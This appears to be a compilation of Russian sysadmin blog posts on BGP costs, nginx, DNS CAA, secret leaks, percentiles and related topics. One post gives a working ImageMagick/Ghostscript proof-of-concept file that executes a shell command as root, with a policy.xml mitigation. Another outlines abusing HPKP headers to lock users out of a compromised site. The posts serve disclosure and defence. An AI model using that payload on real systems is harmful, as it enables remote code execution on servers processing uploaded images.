История факапов, часть третья. BGP.

Эту историю я помню, как будто это было вчера. Хотя это был 2010 год и я устроился на свою первую настоящую работу. Полная ставка, коммерческая компания. Не айтишная правда, но не суть.

Все серваки мы хостили у себя - вебы, почта, базы. Поскольку база была задействована в производстве - то вынести ее во вне не представлялось возможным. Но задача сделать веб сервер доступным 24x7 стояла во весь рост. Игры с dns и ttl особого доверия не внушали, поэтому было принято решение получить себе AS и провайдеро-независимые айпишники. Потом запириться с двумя разными провайдерами по bgp и автоматом переключать каналы в зависимости от доступности. Сказано - сделано. Получили AS, получили PI, законтачились с провадйерами по BGP, выставили приоритет на одного из провайдеров, который был основным и понеслась.

Отличались провайдеры только контрактом - на одном был безлимит за 40к рублей в месяц (если память не изменяет), у другого же был лимит на 10 гб/мес и сколько-то рублей за каждый последующий гб.

В общем прожили мы месяц, все было отлично, пока не пришел счет от второго провадейра на 1 миллион рублей с копейками. Даже не знаю как передать свое состояние на тот момент. До сих пор вспоминаю и коленки дрожат. Проблема оказалась, как не сложно догадаться, во входящем трафике. Исходящий уходил через кого надо, а вто входящий балансился между двумя провайдерами 50 на 50. Опять же не помню как мы это фиксили - community, preferences и что-то в таком духе.

А история закончилась на удивление хорошо и приятно. Провайдер пошел на встречу и подписал задним числом контракт на безлимит. BGP на миллион, чтоб его.

Заканчиваем с факапами, и начинаем ностальгировать. Ребята переписали winamp (помните про такой?) на html 5 + javascript. Посмотреть вживую можно у них на сайте - https://webamp.org, исходники доступны на гитхабе: https://github.com/captbaritone/webamp.

Вообще очень круто, что появляются такие проекты. Я реально перенесся на десяток лет назад, врубил музыку и начал поднимать exim на openbsd (https://www.lissyara.su/articles/openbsd/daemons/exim+cyrus-imapd+mysql/). Ася, openbsd, 11 класс, ух...

А что вы делали под winamp? 🙂

Очень долго метался сегодня между темами, о которых хочу написать. В итоге взгляд упал на nginx unit. О нем и пойдет речь.

Прочитать о проекте подробнее можно тут - https://unit.nginx.org. Но я все же не удержусь и вставлю пару сухих слов. Зато своих. Nginx unit представляет из себя сервер приложений, который можно динамически настраивать через API. На данный момент он поддерживает запуск php, python, ruby, golang и perl кода.

Идея проекта очень простая - научиться запускать приложения, написанные на основных языках с помощью единого интерфейса. Если раньше мы ставили unicorn/puma для ruby, fpm для php, uwsgi для python'а, то теперь это все можно заменить на единый nginx unit.

Зачем - пока не особо понятно. Тем более, если учесть, что все юникорны и прочие прекрасно пакуются в докер и особо ничего не требуют. Дополнительным "против" для меня является попытка объять необъятное. Попытка сделать комбайн, который будет запускать все подряд. Unix way мне явно ближе. Каждое приложение должно отвечать только за свою конкретную зону. Юникорн за руби, а fpm за php. Опять же - перед nginx unit на данный момент требуется ставить nginx, потому что сам юнит не умеет терминировать ssl, да и зачем ему это.

Из плюсов отмечу открытый API, которого нет в бесплатном nginx. Благодаря этому вы можете одним росчерком curl'а поднять параллельно второе приложение (с обновленным кодом) и потом бесшовно переключить весь трафик на него. Раньше приходилось возиться с haproxy и просить его выкинуть из балансировки ноду. Или извращаться кто как умеет. Юникорны и прочие, кстати, умеют делать это из коробки (я про USR2 и graceful reload). Так что плюс такой себе.

Но я никак не могу не отметить, что проект запускает команда, которая развивает и поддерживает nginx. Я им полностью доверяю и, возможно, они смогут удивить всех нас и сделать реально крутой application сервер, который мы сможем использовать повсеместно, не думаю о том что внутри. И забыть наконец про специализированные решения. Поживем - увидим.

Поздравляю всех причастных с праздником системного администратора, друзья! Последняя пятница июля отличное время чтобы отметить этот светлый день 🙂

Но я не удержался и все же решил закинуть небольшую полезняшку перед выходными. Расскажу немного про DNS CAA Record. CAA расшифровывается как Certificate Authority Authorization.

Этот тип записи подробно описан в RFC - https://tools.ietf.org/html/rfc6844 (что вообще логично, да) и позволяет указать какие CA имеют право выпускать сертификаты для вашего домена.

Формат записи: CAA flag tag value, где flag - 0 или 128. Если центр сертификации не поймет поля tag, и flag выставлен в 0 - то CA сам решит можно выпускать сертификат или нет. Если же стоит 128 - CA будет запрещено выпускать сертификат.
TAG - описывает основные параметры - issue - CA, issuewild - CA для wildcard сертификатов и iodef - email на который придет информация о попытке выпуска сертификата.

Примерные записи для домена example.com могут выглядеть следующим образом:

example.com. IN CAA 0 issue "digicert.com"
example.com. IN CAA 0 issuewild ";"
example.com. IN CAA 0 iodef "mailto:vasiliyozerov@gmail.com"

Читать это следуют следующим образом - выпускать сертификат для зоны example.com разрешено CA - digicert.com, wildcard сертификаты запрещено выпускать всем, а в случае попытки выпустить их другими центрами абьюзу кидать на vasiliyozerov@gmail.com.

Надеюсь кому-нибудь пригодится. С праздником!

Кто-то еще пушит креды в гит репозиторий? Мне кажется многие так и делают. Просто мы всегда забываем добавить .env в .gitignore 🙂

Недавно наткнулся на утилитку, которая может вам помочь избежать подобных факапов - просто встройте ее в свой тестовый пайплайн и прогоняйте периодически. Пусть оно лучше всплывет в виде алерта в слаке, нежели в выдаче гугла.

Найти утилитку можно здесь - https://github.com/zricethezav/gitleaks/, в readme описано все более чем подробно, поэтому оставляю чтение документации на ваше усмотрение.

Знаю, что баян, но она мне блин очень нравится.

Потрясающая технология ssl pinning. В двух словах - вы зашиваете отпечаток вашего ssl сертификата в ваш клиент (ios, android, whatever). И ваше приложение каждый раз, помимо стандартной проверки сертификата, будет так же проверять, что зашитый отпечаток сертификата совпадает с тем что отдал сервер.

Зачем это нужно? Все это стало достаточно актуально в сфере последних событий, когда крупные центры сертификации лажали и давали выпускать сертификаты даже тем, кому этого сделать нельзя. Или вообще теряли свой приватный ключ. В общем основная идея - сделать так, чтобы при компроментации CA, атака man-in-the-middle была невозможна.

Данная технология очень активно применяется в интернет банкинге, потому что ребята могут потерять много денег, если вдруг кто-то выпишет себе сертификаты на их домены.

А теперь пара слов про HSTS. Эта технология применяется браузерами для сохранения настроек ssl для конкретного сайта, а так же возможности сделать pinning публичного ключа. В общем то же самое что и для не-браузерных приложений, как описано выше.

Для указания срока действия сертификатов и пина публичных ключей используются http хедеры:
1. Strict-Transport-Security
2. Public-Key-Pins

Первый задает политику и время принудительной работы по https, а второй собственно пинит сертификат.

И тут у меня возникает логичный вопрос. Вот раньше, если кто-то ломанул мой сервер и дропнул базу (ну или стащил базу), то восстановить работоспособность и закрыть дыру достаточно плевое дело. Бекапы и вот это вот все. А сейчас? Хакеру достаточно добавить в ответы nginx'а хедеры, указанные выше, max age выставить в 1 год и прописать левые отпечатки сертификатов. И все - се ля ви. Все браузеры, которые словили этот хедер, будут уже не в состоянии зайти на сайт, выкидывая окно с предупреждением. Единственный вариант в данном случае - сбросить hsts сторадж на стороне клиента. А если их у вас 10к? Нехилый такой удар по конкурентам.

Отличные новости нам приходят от imagemgick'а, друзья! Просто показываю как это работает:

root@server:/tmp# cat > shell.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

root@server:/tmp# convert shell.jpeg out.gif

uid=0(root) gid=0(root) groups=0(root)

convert: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -g612x792 "-sOutputFile=/tmp/magick-13469GmEmsqWiRLpA%d" "-f/tmp/magick-13469JNjF1anuC6Oz" "-f/tmp/magick-134690t_fjcIR9wez" -c showpage' (-1) @ error/delegate.c/ExternalDelegateCommand/461.
convert: no images defined `out.gif' @ error/convert.c/ConvertImageCommand/3210.

Кто не понял - если зафигачить специально сформированный файлик и подсунуть его convert'у, то можно выполнить произвольный код в системе. Тест выше был проведен на ubuntu 16.04 с apt-get install imagemagick.

Если у вас есть какой-либо бекграунд процессинг картинок imagemagick'ом, особенно тех, которые загружаются пользователями - советую подкорретировать policy.xml и добавить туда:

<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />

Это конечно не remote code execution в nginx, но все же достаточно популярная тулза, которая используется в бекграунд процессинге. Так что советую обратить на это внимание. Больше информации доступно здесь: http://www.openwall.com/lists/oss-security/2018/08/21/2

Всем привет, друзья! Что-то давно ничего не писал сюда. То времени нет, то настроения. Да и честно признаюсь, давно в технические проблемы не влезал - все больше проектами занимаюсь. А там основное - это команда. Ну и метрики естественно.

В общем я принял волевое решение, что данный канал теперь будет содержать мой поток сознания по всему что со мной происходит. Канал авторский, так что я могу себе такое позволить. Технические темы так же останутся, но не думаю что их будет слишком много. Зато около технической лабуды станет явно больше 🙂

Из последнего хотел поделиться с вами прикольным зацикливанием на ansible, которое предложил один из наших студентов (да-да, мы сейчас проводим обучение):

handlers:
- name: reload nginx
service: name=nginx state=reloaded
notify: restart nginx

- name: restart nginx
service: name=nginx state=restarted
notify: reload nginx

Я вообще ставил на то, что не зациклится, но оно зациклилось. Зачем это нужно? Да фиг его знает, просто понравилось 🙂

И последнее на сегодня. Мои большие друзья, с которыми я работал достаточно долгое время ищут себе крутого инженера, который будет двигать devops практики и создавать инфраструктуру-как-продукт для внутреннего пользования. Чуть больше подробностей ниже.

Список страшных слов: java, php, linux, mysql, clickhouse, prometheus, docker, bash, dns, cdn, ansible, teamcity, CI/CD
Задачи:
- поддержка внутренних пользователей (программисты, манагеры, вот это все)
- разработка, построение и внедрение инфраструктуры как внутреннего продукта
- уверенное движение к chat-ops, no-ops
- Поддержка кучи баз данных (кол-во которых постепенно снижается), надо не бояться Кликхауса.
- Мониторинг всего и вся
- внедрение красивых CI/CD
- тотальная автоматизация, но без фанатизма
- on-call пока сутки через трое 🙂
Деньгами не обидим. Но сильно зависит от ваших талантов и умений
Работа full-remote, в Москве и Питере есть коворкинги, если не хочется сидеть дома 🙂

Откликаться можно сюда: https://airpush.com/job/devops/

Ух, интересный сегодня денек. Дебажили с какого перепугу на nvme ssd такая маленькая скорость записи рандомных блоков по 4k. Публикую что нарыли. Если у кого-то появятся какие-то идеи - пингуйте в личку, буду благодарен.

Итак, дано: SAMSUNG MZVLW512HMJP-00000, материнка https://www.supermicro.com/products/motherboard/Xeon/C236_C232/X11SSE-F.cfm, проц: Intel(R) Xeon(R) CPU E3-1270 v6 @ 3.80GHz

Тестируем через: fio —filename=/dev/nvme0n1 —name=randwrite —ioengine=libaio —iodepth=1 —rw=randwrite —bs=512b —direct=0 —size=128M —numjobs=8 —runtime=240 —group_reporting —fsync=1

Да, fsync стоит специально, чтобы не использовать дисковый кеш. Этот бенч выдает ~ 3-6 mb/s и 2k iops. Та же команда на mac book air с обычной ssd выдает 65 mb/s, 11k iops.

А судя по https://ssd.userbenchmark.com/SpeedTest/181300/NVMe-SAMSUNG-MZVLW512 - эта ссд должна выдавать от 70 до 100 mb/s на рандомные 4k.

Перерыл кучу тредов по slow performance с этим ssd на *nix системах и выделил основные направления советов:
- Проверить что разделы выравнены по 512 байт. У всех все было выравнено и все было медленно.
- Проверить что диски действительно подключены к pci express. Проверял через lshw - все ок.
- Проверить что все PCI Express подключены на CPU, а не на PCT (хз что имеется ввиду, но судя по графу lshw - PCI Express подключен к CPU).
- Проверить что процессор не ниже sky lake. У нас следующее поколение - kybe lake, так что все должно быть ок.
- Проверить в BIOS что в биосе для слотов PCI-E стоит режим M.2, а не auto и скорость X4. Не нашел таких параметров на нашей материнке, так что пропускаю.
- Очень многие писали про драйвера - типа под винду установили драйвера от ocz и сразу стало все работать - не можем проверить, поскольку у нас linux и на них нет этих драйверов.
- Так же многие писали про то, что нельзя вставлять nvme ssd в слот ниже графической карточки - типа кто-то переткнул и у них все заработало. Звучит странно, но думаю тут дело кроется в настройках биоса каким-то образом.
- И еще очень много писали про смену материнки - про supermicro ничего не писали, но много было про gigabyte & msi, типа переехали на asus и все стало волшебно.
- У nvme есть параметр write voliate memory - который похоже вообще ни на что не влияет 🙂 Я его и врубал и отрубал и результаты были идентичными (кто хочет проверить - вот так можно его врубить: nvme set-feature -f 0x06 -v 0x01 /dev/nvme0, так - вырубить: nvme set-feature -f 0x06 -v 0x00 /dev/nvme0, а так посмотреть: nvme get-feature -f 0x06 -H /dev/nvme0n1 текущее значение.

В общем я пока склоняюсь к проблеме с драйверами - хотим на винде это же железо погонять, возможно станет понятнее. Есть идеи?

Наверняка все сталкивались с проблемой блокировок отдельных личностей, которые постоянно лезут на вашу апишку и делают что-то гадкое. Кто-то просто забивает вам все ресурсы, кто-то регает аккаунты пачкой, а кто-то под уже существующем аккаунтом делает гадости.

Искали и смотрели как лучше избавиться от наглецов и в итоге остановились на lua + nginx. Почему? Во-первых - это просто удобно. Для lua даже специальная библиотечку уже имеется с примерами - https://github.com/openresty/lua-resty-limit-traffic. Во-вторых - никакой дополнительной логики не надо писать в приложении. А в-третьих решение простое как бревно - никаких связей приложения с nginx / fail2ban через логи. Просто видим и блочим.

Всем пятницы!

Что делать если вас начали досить или и того хуже - ддосить?

Ну вообще-то желательно обратиться к профи антиддоса, но если надо прямо здесь и сейчас - есть один небольшой лайфхак.

Обычно ддос идет из стран, которые вашему сервису не интересен. Например, если у вас интернет магазин работает в России, то навряд ли можно считать валидными пользователей из Вьетнама. Абсолютно понятно, что it depends, но если вы подходите под этот случай, то быстро отбить небольшую атаку можно и с помощью nginx. Делает это примерно так.

В начале определяется map:

map $geoip_country_code $allowed_country {
    default no;
    RU yes;
    UA yes;
}

Мапим мы переменную, которую предоставляет geoip модуль, поэтому он должен быть подключен к nginx. В данном примере если пользователь пришел из России или Украины, то $allowed_country будет содержать значение yes. В остальных случаях - no.

Ну а дальше дело техники добавить в нужный server или location простенький if:

if ($allowed_country = no) {
return 403;
}

Отличное дополнение пришло от Ивана Боровкова по предыдущему посту:

"Привет. Про антиддос совет. Если не за L7 лоад балансером находится нгинкс, который отбивает соединения, то лучше возвращать 444, это специальный код ответа, который просто забывает о соединении и бережет ресурсы фронтенда. Нгинкс мощный, но и его можно положить, если не отбить соединение раньше."

Описание кода 444 можно посмотреть тут - https://httpstatuses.com/444. Действительно использовать лучше его.

P.S. К слову я почему-то всегда использовал в блоках 444, но я думал что это просто левый код 🙂

Отличный разбор инцидента от github'а: https://blog.github.com/2018-10-30-oct21-post-incident-analysis/. Люблю читать детективы 🙂

На самом деле при прочтении не отпускало ощущение, что ну блин, проблема же реально во всех этих автоматических переключателях. В итоге так примерно и оказалось:

"Adjust the configuration of Orchestrator to prevent the promotion of database primaries across regional boundaries. Orchestrator’s actions behaved as configured, despite our application tier being unable to support this topology change. Leader-election within a region is generally safe, but the sudden introduction of cross-country latency was a major contributing factor during this incident. This was emergent behavior of the system given that we hadn’t previously seen an internal network partition of this magnitude."

Но лучше всего описать мою мысль смогли комментарии под переводом статьи на хабре:

"Странно это все. Без всяких оркестраторов у них был бы даунтайм 43 секунды. Смысл в этих наворотах, если они не выполняют единственную свою задачу? Было ли тестирование такого сценария? Почему при небольшом рассогласовании данных нет другого механизма, кроме как восстановление из бэкапа?"

И вот в последнее время я все больше подхожу к мысли, что обычные интуитивные методы решения технических задач не всегда работают. Всегда хочется поставить задачу сделать отказоустойчивую систему. А вам точно это нужно? Может у вас день простоя стоит 100$ и вам нет смысла тратить 100k$ на решение и внедрение в этом случае? Или нужно ли вам резервирование active-active между ДЦ, если ваш текущий датацентр лежал 2 часа за прошлый год? Или нужна ли вам реплика базы физическая, если вы сможете восстановиться из бекапа за 10 минут?

Я конечно понимаю, что я сейчас накинул и мне прилетит, но все же я считаю, что нафиг не надо внедрять все подряд что в тренде. Надо всегда оценивать что вам принесет или не принесет то или иное решение. Старайтесь смотреть на ситуацию шире, подводить к какому-то общему знаменателю (да, это я про свой доклад revenue based monitoring :)). Ведь все эти айтишные штуки и задачи - это всего лишь инструменты бизнеса. И в итоге мы это все пилим чтобы нести какую-то ценность, а не просто ради "О! Прикольная / сложная / интересная задача."

Отвыступался на devops conf 2018 в этом году. Прикладываю запись выступления. Если есть идеи о чем еще интересно было бы послушать - пишите в личку, буду благодарен 🙂 С выбором тем у меня тяжко идет в последнее время.
https://www.youtube.com/watch?v=sZdEDHaNhY8

Очень крутую штуку ребята сделали конечно - https://github.com/spiral/roadrunner. Вдохнули в пхп проекты новую жизнь, так сказать. Больше деталей и описания здесь: https://habr.com/company/badoo/blog/434272/

Обрабатываем 10 000 RPS входящих сообщений на инфраструктуре за 60$ / month. Это самый желтушный заголовок, который я когда либо писал.
На самом деле в последнее время получаю много вопросов по поводу того что выбрать - kafka или rabbitmq для организации очереди сообщений. Чтобы снизить поток входящих, набросал статейку с очень простым субъективным мнением о том что и когда стоит использовать. В конце вы найдете полезные ссылки для более глубокого погружения.

Ах, да, чуть не забыл - вот ссылка на статью - https://medium.com/@vozerov/kafka-vs-rabbitmq-38e221cf511b

Напомнило.

Была у нас (да и сейчас есть) группа студентов, которых мы обучаем девопс практикам. И было у нас одно задание на terraform. Выдали мы значит ребятам токен от Амазона, чтобы потренировались виртуалки создавать, security настраивать ну и тому подобное.

Все шло как по маслу. Виртуалки создавались, знания получались, солнышко светило. Но тут пришла тучка. Точнее не тучка даже. В общем закоммитили конфиг терраформа в гит вместе с токеном от амазона. Естественно в открытом виде. Боты это дело быстро просекли и насоздавали по 20-30 самых мощных виртуалок в каждом регионе. Майнили, сцуки.

Первыми забивили тревогу нащи ребята, которые в тот момент (3 ночи примерно МСК) игрались с терраформом. Начали пинговать, звонить и гасить левые виртуалки. Я в этот момент видел свой любимый десятый сон. В общем с утра я проснулся. Охренел. Токен заблочил. Тачки снес. Посмотрел cost explorer - 36$. Ну и отлично, - подумал я. Чуть выше обычного.

Прошел день. И обновилась статистика использования. 4k$. В тот момент я немного (нет) напрягся. Расстроился. Испугался. Не помню, но было не круто.

Написал в саппорт с описанием произошедшего. Меня заставили сменить все токены, пароли, подрубить 2fa и сделать прочию любимые всеми безопасниками вещи. В конце передали мой запрос в billing team. Три напряженных дня и мне выдали промо код на 3970$.

Вывод будет тот же самый - не бойтесь писать и спрашивать. Главное не бегите и не блокируйте карты - попадете в какие-нибудь черные списки.

Amazon две недели разбирался и ответил, что простит половину счета за трафик, который мы случайно нагенерили в конце года. Cloudflare простил весь счет за трафик в указанном периоде. УРА!

Не стесняйтесь просить помощи. Люди и компании вполне могут пойти вам навстречу.

Как чистить место на диске?

Вроде и вопрос банальный и проблеме сто лет в обед, но в последнее время он возникает так часто, что я решил написать несколько строк по этому поводу. С технической стороной вопроса все вроде бы понятно. Мониторинг настроили, алерты приходят, rm -rf отрабатывает. Но как быть с организационной частью?

Если мы говорим про данные (пользовательские, логи, статистика и тд), то непременно встает вопрос о том как долго их хранить. Без ответа на этот вопрос невозможно настроить автоматическую очистку старых данных, невозможно рассчитать объем хранилища, которое потребуется, да вообще ничего сделать нельзя.

Когда в ответ на этот вопрос вам говорят что храните столько сколько влезет на диск, то это не ответ. Хотя выглядит похоже. По сути этим ответом, проблему с политикой хранения переложили на диск. А диск ни черта не знает про то, что это за данные, кто их использует и как их используют.

Простой пример. У вас есть статистика по продажам вашего продукта. И вот вы поставили задачу хранить столько, сколько влезет на диск. Отлично! В какой-то момент на этой же базе разрослась тестовая таблица. Действуя согласно плану по хранению статистики продаж вы взяли и дропнули все данные за последний год и оставили там последние пару дней. Под условие подходит? Да. Мы нарушили инструкцию? Нет. Все правильно сделали? Да. А бизнес только что продолбал все историю продаж благодаря условию "храним сколько влезет".

Если бы у вас была политика хранения и очистки статистики продаж, то вы бы не смогли взять и удалить эти данные. Вы бы пошли искать что еще занимает место на диске, попытались бы очистить что-то другое. И в конце пришли бы к бизнесу с вопросом - нам нужны деньги на диск. И смогли бы это обосновать за 10 секунд. Примерно так: "Согласно политике, эти данные надо хранить 5 лет. Диск у нас на 1Тб - он закончился. Так что либо докупаем диск, либо меняем политику хранения".

Поэтому ответ на вопрос "Сколько и какие данные хранить?" безумно важен. Вы должны четко понимать кто и как использует какие данные и в зависимости от этого выработать политику очистки, агрегации и архивации этих данных. Совместно с продуктом, конечно.

Если вам отвечают хранить столько сколько влезет, то это означает ровно одно: Тот кто отвечает абсолютно не понимает кто и как использует эти данные. И вы со спокойной душой можете взять и дропнуть все нафиг, оставив данные за последний день. Чтобы такого не случилось - сходите и выясните политику очистки ваших данных.

Все. Не могу больше. За последние три дня я получил 5 вопросов о том что такое percentile (он же персентиль или процентиль). А я всего-лишь имел неосторожность указать в ТЗ на разработку системы аналитики для нашего курса, что помимо среднего времени прохождения задания нам еще нужны персентили. Это же персентиль, Карл! Они же практически везде в IT вылезают.

Ну да ладно. Внесу свою лепту в улучшение жизни на земле и в двух словах расскажу про персентили. Надеюсь это кому-нибудь да пригодится.

Вместо предисловия рекомендую купить и прочитать отличную книгу про статистику: https://www.mann-ivanov-ferber.ru/books/golaya-statistika/. Книга написана простым языком и повествует о том как вообще смотреть на всякие статистические показатели.

Возвращаемся к персентилям. Давайте представим себе ситуацию, что на нашем небольшом, обитаемом острове живет 10 человек. И у первого зарплата 10 тысяч, у второго 11 тысяч, у третьего 12 и так далее. У последнего 19 тысяч.

Средняя зарплата 14 500 рублей (не верьте на слово - проверьте!). А теперь давайте одному аборигену зарплату поднимем до 300 тысяч. Среднее тут же возрастает до целых 42600. Но блин, ведь у большинства зарплата в несколько раз меньше среднего! Вот тут на сцену и выходят персентили - они позволяют легко и непринужденно отсекать различные пики и всплески.

50-ый персентиль (он же медиана) в нашей гипотетической ситуации до повышения зарплаты будет так же равен 14500. Он показывает, что 50% людей получают 14500 или меньше, а другие 50% - 14500 или больше. Если взять 70-ый персентиль, то он уже будет равен 16300, что означает что 70% людей получают 16300 или меньше. А остальные 30% 16300 или больше.

Все просто? Круто! Теперь давайте повысим зарплату нашему поселенцу до 300к. Как мы помним среднее у нас поднялось до 42600. А вот 50-ый и 70-ый персентили не изменились - потому что у нас 70% как получали 16300 так и получают. Изменения коснулись только оставшихся 30%.

Где это применяется? Да везде. Когда вам говорят среднее значение зарплаты и не говорят медианы - вас набманывают. Точнее говорят приятную часть и опускают ту, которую вам лучше не знать. Но без медианы абсолютно непонятно как получилось среднее - может 100 человек получают 100 рублей, а один известный нефтяной управленец миллиард, вот вам и нормальная средняя зарплата.

Если возвращаться к IT, то самое частое применение - это полоса трафика к вашим серверам. Очень часто счет вам выставляют на основании 95-ого персентиля по используемой полосе. Что следует читать как: 95% времени вы использовали 3 mbit/s (или сколько там у вас). А остальное время может и были какие-то пики, но мы их не учитываем.

Или еще хороший пример - время ответа веб сервера. Если 99-ый персентиль равен 200ms - это означает, что 99 процентов ваших клиентов получают ответ от сервера за 200 ms или быстрее. И если вдруг какой-то тип по 2G будет получать ответ в течении 10 минут - ваша статистика не сильно испортится и вам не придется гадать почему вдруг среднее время ответа выросло до 300 ms.

Ну и в заключение, чтобы закрепить прочитанное, предлагаю посмотреть на график времени ответа. На нем очень хорошо видно, как соотносится среднее, медиана и прочие персентили с реальными данными.